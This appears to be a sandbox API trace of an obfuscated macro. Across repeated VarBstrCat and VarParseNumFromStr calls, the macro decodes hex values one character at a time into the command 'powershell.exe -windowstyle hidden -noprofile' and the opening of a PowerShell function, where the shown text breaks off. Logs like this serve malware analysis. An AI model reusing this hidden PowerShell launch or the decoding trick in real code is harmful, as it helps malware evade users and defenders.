0x0 [0037.509] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.509] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden ", bstrRight="-", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.509] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.509] VarBstrCat (in: bstrLeft="&H", bstrRight="AA", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.509] VarParseNumFromStr (in: strIn="&HAA", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.509] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.509] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -", bstrRight="n", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.509] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.509] VarBstrCat (in: bstrLeft="&H", bstrRight="AB", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.509] VarParseNumFromStr (in: strIn="&HAB", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.509] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.509] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -n", bstrRight="o", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.510] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.510] VarBstrCat (in: bstrLeft="&H", bstrRight="AC", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.510] VarParseNumFromStr (in: strIn="&HAC", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.510] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.510] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -no", bstrRight="p", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.510] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.510] VarBstrCat (in: bstrLeft="&H", bstrRight="AE", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.510] VarParseNumFromStr (in: strIn="&HAE", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.510] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.510] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -nop", bstrRight="r", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.510] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.510] VarBstrCat (in: bstrLeft="&H", bstrRight="AB", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.510] VarParseNumFromStr (in: strIn="&HAB", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.510] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.510] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -nopr", bstrRight="o", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.510] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.510] VarBstrCat (in: bstrLeft="&H", bstrRight="A2", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.510] VarParseNumFromStr (in: strIn="&HA2", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.510] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.510] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -nopro", bstrRight="f", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.511] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.511] VarBstrCat (in: bstrLeft="&H", bstrRight="A5", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.511] VarParseNumFromStr (in: strIn="&HA5", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.511] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.511] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprof", bstrRight="i", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.511] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.511] VarBstrCat (in: bstrLeft="&H", bstrRight="A8", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.511] VarParseNumFromStr (in: strIn="&HA8", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.511] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.511] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofi", bstrRight="l", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.511] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.511] VarBstrCat (in: bstrLeft="&H", bstrRight="A1", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.511] VarParseNumFromStr (in: strIn="&HA1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.511] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.511] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofil", bstrRight="e", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.511] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.512] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.512] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.512] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.512] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile", bstrRight=" ", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.512] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.512] VarBstrCat (in: bstrLeft="&H", bstrRight="49", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.512] VarParseNumFromStr (in: strIn="&H49", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.512] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.512] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile ", bstrRight="\r", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.512] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.512] VarBstrCat (in: bstrLeft="&H", bstrRight="46", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.512] VarParseNumFromStr (in: strIn="&H46", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.512] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.512] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r", bstrRight="\n", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.513] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.513] VarBstrCat (in: bstrLeft="&H", bstrRight="A2", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.513] VarParseNumFromStr (in: strIn="&HA2", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.513] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.513] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\n", bstrRight="f", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.513] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.513] VarBstrCat (in: bstrLeft="&H", bstrRight="B1", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.513] VarParseNumFromStr (in: strIn="&HB1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.513] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.513] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nf", bstrRight="u", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.513] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.513] VarBstrCat (in: bstrLeft="&H", bstrRight="AA", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.513] VarParseNumFromStr (in: strIn="&HAA", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.513] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.513] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfu", bstrRight="n", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.514] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.514] VarBstrCat (in: bstrLeft="&H", bstrRight="9F", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.514] VarParseNumFromStr (in: strIn="&H9F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.514] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.514] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfun", bstrRight="c", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.514] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.514] VarBstrCat (in: bstrLeft="&H", bstrRight="B0", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.514] VarParseNumFromStr (in: strIn="&HB0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.514] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.514] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunc", bstrRight="t", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.514] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.514] VarBstrCat (in: bstrLeft="&H", bstrRight="A5", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.514] VarParseNumFromStr (in: strIn="&HA5", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.514] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.514] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunct", bstrRight="i", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.514] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.514] VarBstrCat (in: bstrLeft="&H", bstrRight="AB", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.515] VarParseNumFromStr (in: strIn="&HAB", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.515] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.515] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfuncti", bstrRight="o", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.515] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.515] VarBstrCat (in: bstrLeft="&H", bstrRight="AA", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.515] VarParseNumFromStr (in: strIn="&HAA", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.515] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.515] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunctio", bstrRight="n", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.515] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.515] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.515] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.515] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.515] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction", bstrRight=" ", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.515] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.515] VarBstrCat (in: bstrLeft="&H", bstrRight="AA", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.515] VarParseNumFromStr (in: strIn="&HAA", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.515] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.515] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction ", bstrRight="n", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.516] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.516] VarBstrCat (in: bstrLeft="&H", bstrRight="70", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.516] VarParseNumFromStr (in: strIn="&H70", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.516] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.516] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n", bstrRight="4", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.516] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.516] VarBstrCat (in: bstrLeft="&H", bstrRight="73", 